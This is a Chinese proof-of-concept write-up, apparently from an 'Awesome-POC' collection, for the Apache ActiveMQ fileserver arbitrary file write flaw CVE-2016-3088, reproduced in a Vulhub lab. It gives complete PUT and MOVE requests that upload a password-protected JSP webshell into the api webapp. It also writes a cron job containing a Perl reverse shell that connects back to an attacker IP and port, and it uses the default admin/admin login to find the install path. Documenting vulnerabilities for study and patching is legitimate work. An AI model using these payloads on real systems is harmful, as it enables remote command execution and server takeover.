Awesome-POC/中间件漏洞/Apache ActiveMQ 任意文件写入漏洞 CVE-2016-3088.md
2024-11-06 14:10:36 +08:00

5.2 KiB
Raw Blame History

Apache ActiveMQ任意文件写入漏洞 CVE-2016-3088

漏洞描述

ActiveMQ的web控制台分三个应用admin、api和fileserver其中admin是管理员页面api是接口fileserver是储存文件的接口admin和api都需要登录后才能使用fileserver无需登录。

fileserver是一个RESTful API接口我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷但后来发现

  1. 其使用率并不高
  2. 文件操作容易出现漏洞

所以ActiveMQ在5.12.x~5.13.x版本中已经默认关闭了fileserver这个应用你可以在conf/jetty.xml中开启之在5.14.0版本以后彻底删除了fileserver应用。

漏洞影响

Apache ActiveMQ 5.0.0  5.13.2
ActiveMQ在5.12.x~5.13.x版本中默认关闭了fileserver这个应用
5.14.0版本以后彻底删除fileserver

环境搭建

Vulhub搭建及运行漏洞环境

docker-compose build
docker-compose up -d

环境监听61616端口和8161端口其中8161为web控制台端口本漏洞就出现在web控制台中。

访问http://your-ip:8161/看到web页面说明环境已成功运行。

漏洞复现

本漏洞出现在fileserver应用中漏洞原理其实非常简单就是fileserver支持写入文件但不解析jsp同时支持移动文件MOVE请求。所以我们只需要写入一个文件然后使用MOVE请求将其移动到任意位置造成任意文件写入漏洞。

文件写入有几种利用方法:

  1. 写入webshell
  2. 写入cron或ssh key等文件
  3. 写入jar或jetty.xml等库和配置文件

写入webshell的好处是门槛低更方便但前面也说了fileserver不解析jspadmin和api两个应用都需要登录才能访问所以有点鸡肋写入cron或ssh key好处是直接反弹拿shell也比较方便缺点是需要root权限写入jar稍微麻烦点需要jar的后门写入xml配置文件这个方法比较靠谱但有个鸡肋点是我们需要知道activemq的绝对路径。

分别说一下上述几种利用方法。

写入webshell

前面说了写入webshell需要写在admin或api应用中而这俩应用都需要登录才能访问。

默认的ActiveMQ账号密码均为admin,首先访问http://your-ip:8161/admin/test/systemProperties.jsp查看ActiveMQ的绝对路径

image-20220221144006543

然后上传webshell

PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.174.128:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 374

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

移动到web目录下的api文件夹/opt/activemq/webapps/api/s.jsp中。如果Burpsuite发包不成功使用Firefox进行修改后发送。

image-20220221161155286

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/shell.jsp
Host: 192.168.174.128:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

shell.jsp已经上传成功

image-20220221153448172

通过webshell执行命令

image-20220221154607001

crontab反弹shell

这是一个比较稳健的方法。首先使用Burpsuite上传cron配置文件注意换行一定要\n,不能是\r\n否则crontab执行会失败

PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.174.128:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.174.128";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

再通过Firefox修改数据包将其移动到/etc/cron.d/root

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: 192.168.174.128:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

image-20220221161242402

如果上述两个请求都返回204了说明写入成功。等待反弹shell

image-20220221161312608

这个方法需要ActiveMQ是root运行否则也不能写入cron文件。

写入jetty.xml或jar

理论上我们可以覆盖jetty.xml将admin和api的登录限制去掉然后再写入webshell。

有的情况下jetty.xml和jar的所有人是web容器的用户所以相比起来写入crontab成功率更高一点。

尚未测试。